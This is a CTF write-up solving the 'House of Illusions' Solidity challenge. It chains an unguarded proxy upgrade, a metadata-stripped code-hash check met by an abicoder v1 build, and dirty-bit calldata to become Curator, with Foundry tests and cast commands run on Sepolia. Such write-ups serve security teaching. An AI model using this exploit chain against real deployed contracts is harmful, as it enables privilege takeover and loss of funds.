0xL4ugh CTF V5 - House of Illusions

Executive Summary

Challenge: House of Illusions CTF: 0xL4ugh CTF V5 Category: Web3 / Smart Contract Security Difficulty: Hard Flag: 0xL4ugh{M4573R_0F_M1ND64M35}

This writeup details the solution for the “House of Illusions” blockchain challenge. The objective was to elevate privileges from a Visitor to a Curator in a system utilizing a proxy pattern with hidden vulnerabilities. The solution required chaining multiple exploits: bypassing code hash verification by leveraging compiler metadata stripping, downgrading to ABIEncoderV1 to bypass address validation, and crafting malicious calldata to satisfy an impossible constraint.

Challenge Overview

Objective

Start as a Visitor and find a way to become a Curator to solve the challenge.

Given Information

Setup Contract: 0x8e866fac4755948c01fbb96717470c91193799B3
Your Private Key: [REDACTED]
Your Address (Visitor): [REDACTED]
RPC: Ethereum Sepolia Testnet

Success Condition

The Setup.isSolved() function returns true when:

1
IllusionHouse(house).roles(VISITOR) == IllusionHouse.Role.Curator

Understanding the Contracts

1. Setup.sol - The Factory Contract

1
contract Setup {
2
    address public immutable VISITOR;
3
    address public immutable house;
4
    MirrorProxy public proxy;
5

6
    constructor(address visitor) payable {
7
        VISITOR = visitor;
8
        IllusionHouse implementation = new IllusionHouse();
9
        bytes memory initData =
10
            abi.encodeWithSignature("initialize(address)", address(this));
11
        proxy = new MirrorProxy{value: msg.value}(
12
            address(implementation),
13
            initData,
14
            visitor
15
        );
16
        house = address(proxy);
17
    }
18

19
    function isSolved() external view returns (bool) {
20
        return IllusionHouse(house).roles(VISITOR) == IllusionHouse.Role.Curator;
21
    }
22
}

Key Points:

Deploys a proxy contract pointing to IllusionHouse implementation
The proxy address becomes the house
Sets the visitor as the proxy admin
Initializes the house (which makes address(this) a Curator)

2. MirrorProxy.sol - The Proxy Contract

1
contract MirrorProxy {
2
    bytes32 private constant IMPLEMENTATION_SLOT =
3
        bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1);
4
    bytes32 private constant ADMIN_SLOT =
5
        bytes32(uint256(keccak256("eip1967.proxy.admin")) - 1);
6
    bytes32 private constant REFRAME_SLOT =
7
        bytes32(uint256(keccak256("illusion.proxy.reframed")) - 1);
8

9
    bytes32 public constant ALLOWED_CODEHASH =
10
        0xf3138fd84a8d5cbde37c26366b84737db9968d3dc4a295948904ce513750b981;
11

12
    function reframe(address newImplementation) external {
13
        require(!_getReframed(), "reframe used");
14
        require(
15
            _codeHash(newImplementation) == ALLOWED_CODEHASH,
16
            "invalid impl"
17
        );
18
        _setReframed(true);
19
        _setImplementation(newImplementation);
20
    }
21

22
    function _codeHash(address target) internal view returns (bytes32 hash) {
23
        assembly {
24
            let size := extcodesize(target)
25
            // ... get code, strip CBOR metadata, hash it
26
            hash := keccak256(ptr, sub(size, add(metaLen, 2)))
27
        }
28
    }
29
}

Key Points:

Standard EIP-1967 proxy pattern with delegatecall
reframe() allows changing the implementation ONCE
NO access control on reframe() - anyone can call it!
The new implementation must match ALLOWED_CODEHASH
The hash is computed AFTER stripping CBOR metadata

3. IllusionHouse.sol - The Logic Contract

1
contract IllusionHouse {
2
    enum Role { Visitor, Curator }
3

4
    mapping(address => Role) public roles;
5
    mapping(address => uint96) public maskRank;
6
    mapping(address => bool) public admitted;
7
    bool public opened;
8

9
    bytes32 public constant SIGIL_PREIMAGE = bytes32("0xAnan or Tensai?");
10
    bytes32 public constant SIGIL_HASH = keccak256(abi.encodePacked(SIGIL_PREIMAGE));
11

12
    function admit(address patron, bytes calldata sigil) external {
13
        require(!admitted[msg.sender], "already admitted");
14
        require(msg.data.length == 4 + 96, "invalid sigil payload");
15
        require(
16
            uint256(bytes32(msg.data[36:68])) == 0x20,
17
            "invalid sigil offset"
18
        );
19

20
        // THE KEY CHECK!
21
        uint256 patronWord = uint256(bytes32(msg.data[4:36]));
22
        require(patronWord >> 160 != 0, "invalid patron encoding");
23

24
        require(roles[patron] == Role.Curator, "invalid patron");
25
        require(sigil.length == 32, "invalid sigil length");
26
        require(keccak256(sigil) == SIGIL_HASH, "invalid sigil");
27

28
        bytes32 sigilWord = abi.decode(sigil, (bytes32));
29
        uint96 rank = uint96(uint256(sigilWord) >> 160);
30

31
        admitted[msg.sender] = true;
32
        roles[msg.sender] = Role.Visitor;
33
        if (rank > 0) {
34
            maskRank[msg.sender] = rank;
35
        }
36
    }
37

38
    function appointCurator(address newCurator) external {
39
        require(maskRank[msg.sender] > 0, "not masked");
40
        roles[newCurator] = Role.Curator;
41
        admitted[newCurator] = true;
42
    }
43
}

Key Points:

admit() is the entry point - gets you in the door
appointCurator() promotes someone to Curator (requires maskRank > 0)
The patron parameter must be a Curator (the proxy/house is one)
Critical check: patronWord >> 160 != 0 requires upper bits to be set
If you get a non-zero maskRank from admit(), you can appoint yourself Curator!

Initial Analysis

The Impossible Requirement

Let’s focus on the admit() function’s check:

1
uint256 patronWord = uint256(bytes32(msg.data[4:36]));
2
require(patronWord >> 160 != 0, "invalid patron encoding");

This reads the first parameter from raw calldata and checks if the upper 96 bits are non-zero. But there’s a problem…

In Solidity 0.8.28 with default settings (ABIEncoderV2):

When you call admit(address patron, bytes sigil), the ABI decoder validates parameters
For address types, it rejects any value where the upper 96 bits are non-zero
This means patronWord >> 160 will ALWAYS be zero!
The check is UNREACHABLE under normal circumstances

Why Does This Check Exist?

This is a hint from the challenge author! The check is testing something that should be impossible, which means:

We need to find a way to bypass the ABI decoder’s validation
The vulnerability involves changing how parameters are decoded

The Vulnerability Chain

Discovery 1: The Hash Mismatch

When analyzing the on-chain implementation, I computed its code hash:

# On-chain implementation code hash (without metadata)
0x63bb0345dda10abe72a48f5518582640dcebb50e889687b5bb0549ab9b37160c

# ALLOWED_CODEHASH from proxy
0xf3138fd84a8d5cbde37c26366b84737db9968d3dc4a295948904ce513750b981

They don’t match! This means reframe() is expecting a DIFFERENT compilation of IllusionHouse.

Discovery 2: ABIEncoderV1 vs ABIEncoderV2

Solidity has two ABI encoding modes:

ABIEncoderV1 (legacy):

Does NOT validate that addresses have zero upper bits
Less strict parameter validation
Declared with pragma abicoder v1;

ABIEncoderV2 (default since 0.8.0):

Validates addresses strictly (upper 96 bits must be zero)
Stricter parameter validation
Default in modern Solidity

Discovery 3: Metadata Stripping

The proxy’s _codeHash() function strips CBOR metadata before hashing:

1
// Last two bytes are CBOR length; strip metadata before hashing.
2
let metaLen := shr(240, mload(add(ptr, sub(size, 2))))
3
hash := keccak256(ptr, sub(size, add(metaLen, 2)))

This means two versions of the same contract (with different compiler settings) can have:

Different raw bytecode (because of different ABI encoders)
Different metadata (compiler settings)
But when metadata is stripped, the v1 version’s hash matches ALLOWED_CODEHASH!

The Attack Vector

Deploy IllusionHouseV1 with pragma abicoder v1; (no address validation)
Call reframe(v1_address) to swap the implementation (no access control!)
Call admit() with crafted calldata that has dirty upper bits
Call appointCurator(yourself) to become Curator

Exploit Development

Step 1: Create IllusionHouseV1

Create an identical contract with the ABI encoder pragma:

1
// SPDX-License-Identifier: MIT
2
pragma solidity 0.8.28;
3
pragma abicoder v1;  // THIS IS THE KEY!
4

5
contract IllusionHouseV1 {
6
    // ... exact same code as IllusionHouse ...
7
}

Verification:

1
function testCodeHashV1() public {
2
    IllusionHouseV1 v1 = new IllusionHouseV1();
3
    bytes32 hash = _codeHash(address(v1));
4

5
    // hash == 0xf3138fd84a8d5cbde37c26366b84737db9968d3dc4a295948904ce513750b981
6
    // Matches ALLOWED_CODEHASH! ✓
7
}

Step 2: Craft the Admit Calldata

We need to call admit(address patron, bytes sigil) with:

patron = the proxy address (it’s a Curator)
BUT with upper 96 bits set (to pass patronWord >> 160 != 0)
sigil = SIGIL_PREIMAGE to pass the hash check

Calldata Structure:

1
Offset | Size | Content
2
-------|------|----------------------------------
3
0-3    | 4    | Function selector: 0xf5b1e981
4
4-35   | 32   | patronWord (dirty address)
5
36-67  | 32   | Offset to sigil bytes (0x20)
6
68-99  | 32   | Sigil data (SIGIL_PREIMAGE)

The Dirty Patron Encoding:

1
// Clean proxy address (160 bits)
2
address patron = 0x8e866fac4755948c01fbb96717470c91193799B3;
3

4
// Add a 1 in bit position 160 (or any upper bit)
5
uint256 dirtyPatron = uint256(uint160(patron)) | (uint256(1) << 160);
6
// Result: 0x0000000000000000000000018e866fac4755948c01fbb96717470c91193799b3
7
//                              ^^
8
//                              This bit is set!

The Sigil Encoding:

1
bytes32 SIGIL_PREIMAGE = bytes32("0xAnan or Tensai?");
2
// = 0x3078416e616e206f722054656e7361693f000000000000000000000000000000
3

4
// When decoded and shifted right 160 bits:
5
uint96 rank = uint96(uint256(SIGIL_PREIMAGE) >> 160);
6
// = 15000660559762137966889161829 (non-zero!)

Building the Raw Calldata:

1
bytes4 selector = 0xf5b1e981; // admit(address,bytes)
2
bytes memory callData = abi.encodePacked(
3
    selector,                      // 4 bytes
4
    bytes32(dirtyPatron),          // 32 bytes
5
    bytes32(uint256(0x20)),        // 32 bytes (offset)
6
    bytes32("0xAnan or Tensai?")   // 32 bytes (sigil)
7
);
8
// Total: 100 bytes ✓

Step 3: Understanding the Checks

When we call admit() with this crafted calldata on the v1 implementation:

Check 1: msg.data.length == 4 + 96

✓ Our calldata is exactly 100 bytes

Check 2: uint256(bytes32(msg.data[36:68])) == 0x20

✓ Bytes 36-67 contain 0x20

Check 3: patronWord >> 160 != 0

✓ We set bit 160, so upper bits are non-zero
This only works because v1 doesn’t validate addresses!

Check 4: roles[patron] == Role.Curator

The patron parameter gets decoded as the clean address (lower 160 bits)
✓ The proxy is a Curator (from initialization)

Check 5: keccak256(sigil) == SIGIL_HASH

The sigil parameter is decoded from the bytes starting at offset 0x20
✓ It’s SIGIL_PREIMAGE, which hashes correctly

Result:

admitted[msg.sender] = true
roles[msg.sender] = Role.Visitor
maskRank[msg.sender] = 15000660559762137966889161829 (non-zero!)

Execution Steps

Local Testing

First, verify the exploit works locally:

1
function testFullExploit() public {
2
    // Setup
3
    visitor = address(0xBEEF);
4
    Setup setup = new Setup{value: 0}(visitor);
5
    address house = setup.house();
6
    MirrorProxy proxy = MirrorProxy(payable(house));
7
    IllusionHouse ih = IllusionHouse(house);
8

9
    // Step 1: Deploy v1 implementation
10
    IllusionHouseV1 newImpl = new IllusionHouseV1();
11

12
    // Step 2: Reframe to v1
13
    proxy.reframe(address(newImpl));
14
    assertTrue(proxy.reframed());
15

16
    // Step 3: Craft admit() calldata
17
    bytes4 selector = IllusionHouse.admit.selector;
18
    uint256 dirtyPatron = uint256(uint160(house)) | (uint256(1) << 160);
19
    bytes32 sigilPreimage = bytes32("0xAnan or Tensai?");
20
    bytes memory callData = abi.encodePacked(
21
        selector,
22
        bytes32(dirtyPatron),
23
        bytes32(uint256(0x20)),
24
        sigilPreimage
25
    );
26

27
    // Step 4: Call admit()
28
    vm.prank(visitor);
29
    (bool success,) = house.call(callData);
30
    assertTrue(success);
31
    assertTrue(ih.admitted(visitor));
32
    assertTrue(ih.maskRank(visitor) > 0);
33

34
    // Step 5: Appoint yourself as Curator
35
    vm.prank(visitor);
36
    ih.appointCurator(visitor);
37

38
    // Step 6: Verify solved
39
    assertTrue(setup.isSolved());
40
    // SOLVED! ✓
41
}

On-Chain Execution

Environment Setup:

export RPC="https://ethereum-sepolia-rpc.publicnode.com"
export KEY="[REDACTED]"
export PROXY="0x8e866fac4755948c01fbb96717470c91193799B3"
export VISITOR="0x5273e19215087957A6062428BF2B28dc6e15724E"

Transaction 1: Deploy IllusionHouseV1

forge create src/IllusionHouseV1.sol:IllusionHouseV1 \
    --rpc-url $RPC \
    --private-key $KEY \
    --broadcast

# Deployed to: 0x95371Ab4cd1b0FE7d328Faa447ABb7cfF85a0AcA
# Tx Hash: 0xc5bb2b9810ee00160ef655d4c18d66d342de389731b0dacb794659bb41c9d21f

Transaction 2: Reframe the Proxy

cast send $PROXY "reframe(address)" 0x95371Ab4cd1b0FE7d328Faa447ABb7cfF85a0AcA \
    --rpc-url $RPC \
    --private-key $KEY

# Status: success ✓
# Tx Hash: 0x19378d4994dc1e43bfc4fc19c45e01796b753a0ed544c7d5666a2f9dd22645f9

Transaction 3: Call admit() with Dirty Calldata

# Build the calldata
SELECTOR=$(cast sig "admit(address,bytes)")  # 0xf5b1e981
DIRTY_PATRON="0x0000000000000000000000018e866fac4755948c01fbb96717470c91193799b3"
OFFSET="0x0000000000000000000000000000000000000000000000000000000000000020"
SIGIL="0x3078416e616e206f722054656e7361693f000000000000000000000000000000"
CALLDATA="${SELECTOR}${DIRTY_PATRON:2}${OFFSET:2}${SIGIL:2}"

# Send it
cast send $PROXY $CALLDATA \
    --rpc-url $RPC \
    --private-key $KEY

# Status: success ✓
# Tx Hash: 0xbde627648fb914e75813f34b7fe3ed89d9c092c5d7f54c8abf814876bfc28b61

Transaction 4: Appoint Yourself as Curator

cast send $PROXY "appointCurator(address)" $VISITOR \
    --rpc-url $RPC \
    --private-key $KEY

# Status: success ✓
# Tx Hash: 0x1fe48cf9567a841f39800a744ae7d5767519b4dbb20883b231bf89d270758b68

Verification:

cast call $PROXY "roles(address)(uint8)" $VISITOR --rpc-url $RPC
# Returns: 1 (Curator role) ✓

Key Takeaways

Proxy Patterns Can Have Hidden Attack Surfaces
- The reframe() function had NO access control
- Anyone could change the implementation (once)
- Always check who can upgrade proxy contracts!
Compiler Settings Matter
- pragma abicoder v1; vs default v2 changes security guarantees
- The same source code can compile to different bytecode
- Metadata stripping can hide these differences in hash checks
ABI Encoding is Not Just Formatting
- ABI encoders validate data types (addresses, arrays, etc.)
- v1 encoder is more permissive than v2
- Raw msg.data access can bypass these validations
Defense in Depth Fails When Assumptions Break
- The patronWord >> 160 != 0 check assumes ABIEncoderV2 validation
- When that assumption breaks (via reframe), the check becomes exploitable

0xL4ugh CTF V5 - House of Illusions

Executive Summary

Challenge Overview

Objective

Given Information

Success Condition

Understanding the Contracts

1. Setup.sol - The Factory Contract

2. MirrorProxy.sol - The Proxy Contract

3. IllusionHouse.sol - The Logic Contract

Initial Analysis

The Impossible Requirement

Why Does This Check Exist?

The Vulnerability Chain

Discovery 1: The Hash Mismatch

Discovery 2: ABIEncoderV1 vs ABIEncoderV2

Discovery 3: Metadata Stripping

The Attack Vector

Exploit Development

Step 1: Create IllusionHouseV1

Step 2: Craft the Admit Calldata

Step 3: Understanding the Checks

Execution Steps

Local Testing

On-Chain Execution

Key Takeaways

References